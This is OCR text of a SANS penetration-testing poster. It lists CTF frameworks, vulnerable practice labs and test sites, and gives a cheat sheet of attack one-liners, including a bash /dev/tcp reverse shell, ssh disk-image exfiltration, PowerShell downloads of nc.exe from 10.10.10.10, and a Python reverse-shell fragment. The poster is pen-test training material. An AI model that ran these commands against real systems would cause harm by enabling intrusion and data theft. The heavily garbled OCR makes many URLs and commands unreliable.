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Many SANS Pen Test Courses include a final full day (Day 6) of hands-on computer security challenges that
hammer home the lessons taught throughout the entire course. The top winners of this full-day
Capture-the-Flag event in each course receive the much-coveted challenge coin associated with the course.
Each coin is unique to its associated course, with a custom logo, special tag line, and theme. Coins are
available for SANS 504, 542, 560, 561, 573, 575, 617, 642, 660, and 760 level courses, as well as the SANS
NetWars Experience. The challenge coin congratulates the victors on their accomplishment and challenges
them further to use their award-winning skills to make a positive difference in their workplace and career.
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D NetWars And, best of all, each coin includes a special cipher that encodes or encrypts 1
part of a hidden message. The coins include all kinds of ancient, modern, and fa;
custom-created ciphers ready to challenge and delight the winners. Each coin |
encodes a single word, so you can analyze your prize and determine its secret [ *
rightaway. Then, as you earn multiple coins, you can crack the larger message
and achieve the ultimate SANS Pen Test coin victory.

Alissa Johannes Erik Donald Jake
Torres Ullrich, Ph.D. VanBuggenhout — Williams Williams Wright

Vs

A Note from Ed Skoudis:

"I truly believe that SANS educators are the very best in the world. It is an
honor and privilege that | get to work with these fellow instructors to teach
people hands-on cybersecurity skills all around the planet. Each and every
one of these skilled and knowledgable practitioners has earned my
respect in the classroom and | know that you'll be in the very best of
hands in our pen test courses."

- £d Skoudis, Curriculum Lead, SANS Penetration Testing (@edskoudis)

Look for our Coin-A-Palooza events at SANS Pen Test Austin and the SANS
Pen Test HackFest for the chance to earn multiple coins at a single event!

CIPHER ANSWER

November 2017 For more information:
Bethesda, MD www.sans.org/hackfest
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/ CTF framewark and exploit development library
]  binjitsu
hi Haithub " Biai

L ') |

Modifiable CTF
CTFd

https:/jgith isislab/CTFd |
for buildi g vulnerability testbeds

MCIR
https:/igithub.com/SpiderLabs/MCIR }_

PHP based CTF engine

. Mellivora
3 J
Simple CTF framework
github.comjt 1ag lahtSh |
Open Cyber Challenge Platform
Ready-to-use scenarios OCCP

hitps:jfopency net|

Framework for developing CTFs

https:| I :

Toolkit to develop CTFs easily

hittps:/fgithub i P I

Graphical Network Simulator

GNS3
hrtp:) i} gns-3f f |

for rapid p yping of SDN

Mininet
http:/fmininet.org/ f |

Network ina VM

TSR HETinVM
httpffinformati ica.uv.esf~carlos/di i i I
Open Source SDN Platform .
hittps:/fwww. ylight.org/ jl -
Open Platform for Distributed Applications
https://www.docker.com/ Docker
Cloud Management Platform using Containers
1 >mar enter
https:/jgithub sde |
Create Portable Development Environments
1 Vagrant
hittps:/fuww. com|

Create a Muiti-Tenant Environmant

Smart0s
https://smartos.org/

htrpiif2 1itr.comfscenas] 21LTR

&
PRACTICE YOUR SKILLS HERE!
PENETRATION TESTING PRACTICE LABS

VULNERABLE APPS/SYSTEMS

Created by Aman Hardikar .M

Building your skills through hands-on lab experimentation is vital in
the life of a penetration tester. Aman Hardikar .M built a hugely useful
mind map showing various free, publicly available distributions,
challenges, and other resources for practicing your skills.

The mind map is available online at:
amanhardikar.com/mindmaps/Practice.htm/

Feel free to use this poster version to check off the practice
labs you've visited and completed. Thank you, Aman, for
letting us include the mind map in this poster.

WEB APPLICATIONS

ht f 1 il vir ing/til fdvlf Damn Vulnerable Linux

ht i ises. Exploit

I doj isjiso/De-1ICE_S1.100.is0 level 1.100

http: i /De-ICE_S1.110.is0 level 1.110 J

http:/{hackingdoj [ loads/iso/De-ICE_$1.120.is0 level 1,120 ] heorot

hitp:/ i io. fiso/De-ICE_S2.100.is0 level 2.100

ht hackingdaj d loadsfiso/De-ICE_S1.123.is0 hackerdemia ]

http: ge.net/proj injfi Holynix

@ Aman Hardikar .M

http:/fwww.kioptrix.com/blog/ Kioptrix

7 CTF challenges

http:if ‘ i | LI |

http:/finformation.rapid? . i i -htmi
e R TS = T '___'_'___ = e Metasploitable

1 LAMPSecurity L]

Practice
Areqs

http: ge.net/proj

http:/fneutronstar.org, html

0S| BUILDS

h lab flab-i box{ PenTest Laboratory

https:i Lab

http:j/www.rebootuser.com/?page_id=1041 [Vulnix] RebootUser

http:/fwww.pwnes.com/ = anDs_ | 1 \

http:fisg&-labs, bl co.uk/2007/12, 1-sauron.htm| Sauron

http:/fwww.scriptjunkie us/2012/04 the-hacker-g | iptjunkie.us

http:/f ind ice-links.htmi i AMP

Insecure Android App

Damn Vul ble Android App (DVAA)

https:/jcode.google. (<] f }

Insecure Firefox0S App
"\ Damn Vul ble Firefox0S Application [DVFA)

hittps:ffgithub p i ufdutal f

Insecure i0S App
Damn Vulnerable i0OS App (DVIA)

http:, iosapp.comj f

Insecure Android App [8 labs]

Mobile Android Labs

hitty i github. abs| }

A defective iPhone App [4 labs]

Mobile iPhone Labs

http: ity github.i abs/ {

Insecure Web Services enabled Android Application

| Hacme Bank Android

http:/jwww.payatu.comfhacksys-extreme-vulnerable-driver/ =

MOBILE APS \

http:/fwww.mcatee aspx |
ble Andriod
- 1
http:jfw tfd -html f
Android VM
}° NcN 2]
http: raf game/ [
Insecure 05 App
OWASP iGoat
http: .google. P/ p-igoat] f
F oats; Herd Fi ial | Android Apps
1 OWASP
https://github b JOWASP-GoatDroid-Project I

hitp:ffcaptl.com/ CAPTF Repo

http:fictftime orgjctis) CTFtime

CTF write-ups repository

https:/fgithub acebook/fhctf FBCTF

http:/fwww.reddit.com/risacurityct! Reddit CTF Announcements

http:/fshell-storm.org/repo/CTF/ shell-storm Repo

https:/fwww.vulnhub.com VulnHub

Vuinerable VPN Service

VulnVPH
http:/fwww.rebootuser.com/?page_id=1041

Vulnerable VolP Service

http:/fwww.rebootuser.com/?page_id=1041 I_

Windows based threaded TCP server application
Vulnserver
http:/fwww.thegreycorner.com /20101 2 fintroducing-vulnserver. htm| I__—‘

Damn Vulnerable Router Firmware

hitps:/fgi ian-inc/DVRF |

Multiple Challenges including Binary Firmware
Analysis

1 Pivot Challenges
hittp:f/pl ject.ory

Vulnerable Windows driver

kSys Extreme Vull ble Driver

ICS Simulator
VirtuaPlant

ps:ifg iseid|jvirtuaplant |
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Shellshock Labs

A Phishing Paradise - targeted client-side attacks and post

http://blog.cobaltstrike.com/2014/08/06/ | Morning Catch
i L1 i i teh el .
g L U

www.exploit-db.com
www.oldapps.com

www.oldversion.com

%edOrealworldf

SOFTWARE

BadStore [Perl]

hitp:j/www. badstore.net/

Bodgelt Store [JavalJSP] http:/jcode.google.com|p/bodgeit]
Bazingaa [PHP [X55 on Login Page]] https:{fgithub_com/jovyn/Bazingaa
Butterfly Security Project [PHP] http:{ftheb flytmp ge.net|

hittp: /lwww. mmeit, be/bwapp/
BWAPBP | bee-box VM [PHR/My = R g+
Commix [PHP [C ion]] https://github -y
CryptOMG [PHP [Crypto-implementation flaws]] h [fgithub [SpiderLabs/Cr E |
Damn Vulnerable Mode Application (DVNA) [Node.js] https:/fgithub.com/quantumfoam/DVNA/

Damn Vulnerable Web App (DVWA) [PHP] http:/fwww.dvwa.co.uk/

Damn Vulnerable Web Services (DVWS) [PHP] http:jfdvws. professionallyevil.com/
Drunk Admin Challenge [PHP] htips:/fbeck work: fifchallenges/drunk-ad b-h ] -
Exploit KB Vulnerable Web App [PHP, MySQL [SQL Inj 11 http it.co.ilfprojects/vuln-web-app/ B
Hackme Bank [.N 1 http:/f meafee downloads/f Isfhacme-bank.aspx 1
Hackme Books [Java) htp:) mecatee fh books.aspx L: :
Foundstone Hackme Casino [Ruby On Rails] http:)f mcatee.com/us/d loads)f 1 ASPX 4
Hackme Shipping [CF/MySOL] http: .mcatee. it tools) ipping. aspx
Hackme Travel [.Net/C++] http:jlwww.mcafes " 1/ aspx
* Zap WAVE [J2EE] hittp:fjcode.google ? p 0.1.zip
Damn Vulnerable Web App (DVWA); Mutillidae; Ghost; OWASP Hackademic; WackoPicko; PHP
. OWASP App; * WAVSEP; Bodgelt Store - Java
GameOver
Vicnum PHP[Perl
* PuzzleMall [J2EE] http:/{code.google.com/p/puzziemall]
http: 1 jects/null

hackxor [Perl]

httos: Haithub 7Thack

Hackazon [PHP/MySQL (REST)] https:figithub id 7 hack
Juice Shop [JS] htt i ich.github.iofjuice-shop/#/
LAMPSecurity [P 1] http:fisour

Magical Code Injection Rainbow PHP/MySQL

MCIR Testbeds 5QLol; XMLmao; ShelLOL; X$Smh

https:ffgithub.com/SpiderLabs/MCIR

[old] Wordpress Software; [old] Vanilla; [old] Nanbiguara; [old] Roitpix PHP
Math [old] Yazd SoHware Java
http:[www. b h php
http://sourceforge. net/projects/mutillidas/
NOWASP | Mutillidae 2 [PHP] https://github hili h dock nutillidae
https:/fgithub iti al i

OWASP Bricks [PHP/MySQL] ht forge.net/p bricks

Webgoat; OWASP CSRFGuard Sample App; Mandiant Struts Forms; OWASP AppSensor Java

[old] Yazd Software Java

Mutillidae; Damn VYulnerable Web App (DVWA); Ghost; Peruggia; PHP
OWASP BWA [old] Wordpress Software; Orange HRM Software; GetBoo Software; GTD-PHP PHP
[Broken Web Apps] =

Vicnum ©  PHP/Perl

Simple Form In Net ASP.Net/C¥

Simple Form with DOM XS5 HTML/JS

hitp://code.google.com/plowaspbwa/ *? +
OWASP Hackademic [PHP] = hup:ffhackademic reilar.grf b
OWASP Node js Goat Project [Node.js] https:/jwww.owasp.org/i hp/OWASP Node_js_Goat_Project 18
OWASP Security Sk [Javaf QL) https:{fwww.owasp.orgfindex. php/OWASP_Security_Shepherd +
OWASP SiteGenerator [.Net] ps:{jwww.owasp.orgfindex. phpjOwasp_Si B

Multiple Web Apps (Offline 1SO format) ?
Pentester Lab Bash, Java, Ruby, Python E: :
hitps:[iwww.p "‘

PHDays iBank CTF [PHP] http: /) hardi} fmind actice-links.htmi A
SecuriBench [J2EE] http:/fsuif.stanford.edu/~livshits/securibench/ :
SentinelTestbed [PHPS/SOLIte] https:/fgithub fdobin/SentinelTesthed ‘!E: !
SocketToMe [Web j php ; E
sqli-labs [PHP] https:/fgithub.com/Audi- 1/sqgli-labs ;
sqlilabs [PHP/MySGQL] © https:, k dri glilat :
VulnApp [ASP.net] http:/fwww.nth-dimension.org.uk/blog.phptid=88 J 1t

50L injection PHP

ulnerable-web-app-for-practice/

WackoPicko [PHP]

Vulnerawa http:fhackercaol.com|2015/08fvul el
2 ]

and Testing Toals

WAED -
_-“—l http:ffwww.waed.info

WebGoat.NET [.Net] © https:/fgithub yhatt] NET

Web Security Dojo

OWASP WebGoat [Java); * OWASP InsecureWebApp [Javal,

Damn Vulnerable Web App [PHP]; Google Gruyere [PythonjAjax]

Xtreme Vulnerable Web Application PHPIMySQL

Found: kme Casino (Ruby On Rails]; * Others (REST/JSON]

ek s b i

http://www.mavensecurity.com/web_security_dojo/

XVWA
—l https://github.com/sanThO/xvwa

Embedded Security CTF https:/imicrecorruption.com
| EclamaGroly e sl i i
Escape http:/fescape.alf.nuf i
-cosdieanvere’ * Ot lieuste Giipmb i) T
1
Ghost Lab http://www.ghOst.net/ L

Hack This Site

http:ffwww.hackthissite.org/

HackThis http:/fwww.hackthis.co.uk/
http: /) hack com| 1
_“rvlla'clt,:-'n: https:/fhack.mea/ = il
Hacking-Lab https:/iwww. hacking-lab.com ' |
Hacker Chall al p:ll . ¥ n*l__l__ N
| HackerTest __ htp/fwviw.hackertest.net/_

hACME Game http:/fwww.hacmegame.org

Halls Of Valhalla

k halis-of.

Hax.Tor http:/fhax.tor.hu

OverTheWire http:/fwww.overthewire.org/wargames/

T p:/f

it.rufen/

CSC Play on Demand https:/fpod._cybersecuritychallenge org.uk/

pwno https://pwnl.com/home.php

RootContest Ll

Root Me http:/fwww.root-me.org/?lang=en

ttp:/frootcontest.com/ j .: E

Security Treasure Hunt http:/fwww.securitytreasur comj

Smash The Stack

http:/fwww.smashthestack.org

S0LZoo http:/isalzoo.netfhackf ,l ;
TheBlackSheep and Erik http:jiwww.bright-shadows. net/ ‘, ¥
I ThislsLegal http:/fthisislegal.com| i
Try2Hack hl!p:IMww.lrvzhack.nI{_
. WabLab http:/fwww.wablab.com/hackme
XS55: Can you XSS This? http: ffeanyouxssthis.com/HTMLSanitizer/

XSS Game https:(jxss-game. appspot.com/

X55: ProgPHP

VENDOR TESTING SITES

http:/fxss.progphp.com|

Acunetix acuforum http://testasp.vulnweb.com/

hitp:ff P | b.com/

Acunetix acuart http:/{testphp.vulnweb.com|

Cenzic kmebank h k cenzic.com

Checkmarx Game Of Hacks http:{fwww.gameofhacks.com/

HP freebank hitp:)f L ity.com

IBM altoromutual

http:/jdemo.testfire_nat/

Mavituna testsparker (.Net) htip:/faspnet.testsparker.com

Mavituna testsparker (PHP) http:{php.testsparker.com

NTOSpider Web Scanner Test Site hittp:)f ek com)




Usefu( [Pve Pivot
= S e

S IPV6ADDR=fc00:660:0:1::46
&& PORT=110 && socat

TCP-LISTEN: $PORT, reuseaddr,
fork TCP6: [$IPV6ADDR] : SPORT

Redirect [Pvb listening TCP port to
localhost 1Pv&,

Usage scemario: Pivoting a connection
across the nefwork via [Pvb to a local
[istening port on [PV, allowing
[Pv&-Ffocused TCP tools to attack

across [Pvb.,

(:J_haf/s My Public P address?

$ curl -4 icanhazip.com

or

$ dig +short
myip.opendns.com
@resolverl.opendns.com

or

$ wget -qO- ifconfig.me/ip

Get the external [P address of the

machine the command s rum on.

Usage scenario: After exploiting a
machine, especially via client-side
exploit, determine the external [P
address of that machine to better
understand where the machive is

and how it 15 accessing the outside
world.

Euncrypted Exfil Channel!

# dd if=/dev/rdisk0sls2
bs=65536 conv=noerror, sync
| ssh -C user@10.10.10.10
"cat >/tmp/image.dd"

Exfiltrate the contents of au
tmage via SSH to amother
machine, compressing (-C) the
content to speed up fransfer,

Usage scenario: Upon exploiting a
machine with a small file
system or particularly
tnteresting partition, move that
partition to the pen fester's
machine, compressing and
encrypting data using SSH.

Sudo... Make Me q Samdw[clq/

$ alias gah='sudo $ (history
-p \!'\!)"'

Type “9ah” after you forgot to use
sudo, and iF ([ sudo your most recent
command.

Usage scenario: Day-to-day bash
tricks to make (ife easter,

0

Find Jutcy Stuff tn the File System

$ find /PATH/TO/DIRECTORY
-name "FILE-FILTER" -type
f -exec grep -i "STRING"
{} \; -print 2>/dev/null

Search /PATH/TO/DIRECTORY for
Files of the type “FILE-FILTER"
(e.9., *.txt) that contain the
“STRING”, displaying the line of the
File with “STRING” and the file

hame,

Usage scenario: Find password files,
database connection strings,
encryption keys, and a multitude of
other useful items during
post-exploitation.

Make Output Easier to Read

$ alias ccat='pygmentize
-0 bg=dark,style=colorful’

Cat a file using colorful output.

Usage scenario: Review XML, code,
or configuration files n a manner
that (s easier to read and makes

the world a more beautiful place.

Check Service Every Second
= S o]

S while (true); do nc -vv
-z -w3 10.10.10.10 80 >
/dev/null && echo -e
"Service is up"; sleep 1;
done

Measure whether a service ts still up
by connecting to its port every 1
second.

Usage scenario: verify service ts still
running durtng exploitation,

Featured n: SEC560

I:] 4,0 — Enterprise Vuln Assessm

N 504 — Hacker
d Wb App Pan Test

563 — Soctal Engineering

Bash’s Built-ln Netcat Client

S bash -i >&
/dev/tcp/10.10.10.10/8080
0>&l

Create a reverse shell back to a
given [P address and port,

Usage scenario: Exploit a target
machine (2.9., through command
tnjection) and get a shell using only
butlt-in features of bash.

SANS TRAINING WisH LIST
ant — NEW!

Techniques & (ncident Handling

0 542 — 0613 —
| [ 550 — Active Defanse 0 642 —
i ‘|j 560 — N.Q{'onk Pan Test Wi lj LLO —

01 56t — Red Teaming (2-Day) = NEW:

(2-Day)

(] 533 — Python
0] 535 — Mobile Pan Test

] 580 — Metasplott (2-Day)

0] 360 — Elite Exploit Stuff

5 PowerShell Essentials

\ target 1P address Concept What'’s it A Handy Alias /
- SwQQPO%a Do?
Cownduct a Pt 9( builF-in features. !
space, usthg o J . PS C:\> Get-Help |Shows help & PS C:\> help
I POSIL' [emdlet] examples [emdlet]
cenarto: ¥ -examples -examples
Usage Scena™0" | 1 puach
)C(VIA G‘M‘homa
PS C:\> Get- Shows a list of PS C:\> gem
- Command commands *[string] *
Oune-Line Web Client
PS C:\> Get- Shows properties | PS C:\> [emdlet]
Win 7: PS C:\> (New-Object Add a Firewall Rule ' Member & methods | gm :\
System.Net.WebClient) .DownloadFile ("http:// - - ’ ‘.\
10.10.10.10/nc.exe", "c:\nc.exe") PS . C:\> New-NetFirewallRule -Action Allow PS C:\> ForEach- |Takeseachitem |ps c:\> [ ot] \
-DisplayName Pentester-C2 -RemoteAddress Object { $_ } onpipeline and || % { [emdlet] . -\
Win 8 and later: PS C:\> wget <IPADDR> handlesitas$_ |$_ } (’
"http://10.10.10.10/nc.exe" -outfile : S : / : SN
"e:\nc.exe" Add a Firewall rule to the built-in Windows Firewall. " |ps c:\> select- |Searches for PS C:\> sls -path ~ ‘a
String strings in filesor | [file] -pattern -

: : : 0 0 0 output, like gre tri
lustantiate a web client to download a file (such as nc.exe) 9509{ scenario:Allow CO“}"QCILIOWS tnto-a hew port 750)’.0 e T e
From a given URL. [istentng backdoor, a service ready to deliver an exploit o

to clients, or a pivot. L

Usage scemnario: Moving files.

3 [

Find Juicy Stuff (v the File Sgsfem '

Built-in Port Scanmer!

Featured tn: SEC560 | (sercct-s: \ |
: Tr c: PATH\TO\DIRECTORY =sEatl
‘ PS C:\> 1..1024 | % {echo ((new-object L ] P25 2 “pattern STRI;GT - | :
- - e Net.Sockets.TcpClient) .Connect ("<IPADDR>" ," S . ) }
' ef Firewall Rules $ )) "Port $_is open!"} 2>$null = C‘\PATH\TO\D[QECTOQY o y -

”STQING”/ dl.jp{ay(.wg /—L\

PS C:\> Get-NetFirewallRule -
all | STRING,

2 file name and the line ¢ i
ont
Out-GridView atning the

Conduct a port scan of a target |P address, using ouly butlt-in

features. Usage scenario: Find password Fil

\ S |
<Pv1

|

HON

PS C:\> Get-NetFirewallRule -all | Ex | coc \
' O — . . , 25, database connect ' Ython —¢
<file path.csv> Usage scenario: Discover open ports on other target machines, ewcrypfzom. Keys, and q multitude of other useful l_:;:‘j“a(ffr.mggl SOCket.sockee:ec (\"impors socket
List the fi - - i el Sl A e Post-exploitation, - vhile 1 e connect ( (' crps
ist-the firewall vules-and display them in grid view or CS\ Subprocess . p gt
. . . - B o 14 stdout=SUb open (s
Usage scenario: Review the Windows built=in Firewall vules to | y Ocess pIPEProceSS.PIP

look for open ports to use for attacks and pivots.

ORITY o

C:\> netsh wlan set hostednetwork mode=allow Ssid=<MYSSID>
key=<MYPASSWORD> && netsh wlan start hostednetwork

Configure a Windows machine as a WPA2-PSK Access Point.

Website Cloner

S wget -r -nH SURL Usage scegario: Share a Windows machine’s Internet access with other
systems wirelessly, or use a Windows machine to attract wireless clients

Clone a website to the local into joining it for exploitation purposes.

<
system, v U\
;JMQQ {CQMHOI .Creafe a C_:\> netsh interface portproxy add v4toveé listenport=<LPORT>
.ook—a({ke Wdoﬂh to use for listenaddress=0.0.0.0 connectport=<RPORT> connectaddress=<RHOST>
u:mpersomaflow attacks, such as a Conf; . 2 x
site fo divect vickims fo dHY’l‘MQ ontigure a TCP port forwarding relay from IPv4 to IPv6 (vdtov4, vetove, PBH"OM 1ib2; Pl'-'f‘-nt ag’ |
(e and v6tov4 also supported). ‘import urllide 0.10.10") .re2
spear phishing attacks, python € ) en("httP‘//lo'l T
. ; - rlO
Uszlige lscenarlo: Pivot a TCP connection through a Windows machine using urlllbz-':\_u htl;ll
built-in functionality, converting IPv4 to IPv6 as needed. /th/fl =
B python 3. . .
. . —c 'im ort urlllb'requ wy !
Eucode All the Things C:\> netstat -naob 1 | find "<IPADDR or PORT>" tho_;3request urlretrle/‘;;p/lo :\.0.10.10.html )
' o : urlli .10m," '
Get a list of TCP and UDP activity every 1 second. ("httpzlllo-lo'lo i
$ echo 'Hello, World!' | ‘Lo it info a File.
base64 Usage scenario: Look for a connection coming in from a specific IP tch a )C;(.Q or web page and wrt ised mac
$ echo address or port to determine when the connection occurs, within 1 second Pate O{A'{-iovm( tools to a comprom
'SGVsbG8sIFdvemxkIQo=" | ' Usage Scwario: Doww(oao\ aaal
base64 -d S?j builf-in Pythow features.
on
C:\> wmi i
Eucode or decode baseb% i¢ process list full
mforw\ahow. Get a list of all available attributes of all running processes.
Usage scemario: Quickly defermine [

gsage §cenario: Look through processes to determine what 1s running,
including potentially exploitable software, malware, and other tools.

the un-encoded value of baseb%
strings tn web applications,
configuration files, protocol

messages, and more,

A =

C:\> tasklist /svc

Get a list of services running inside of each process.

Usage scenario:

. Look for running services that might be exploitable or
running malware.

Subscribe to SANS GPWN Matling List o . /
l«H‘PS://fisfs.saws.org/mai(mam/(ls{':w;ﬁo/gpww—(:s:‘
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SANS is the most trusted source for information
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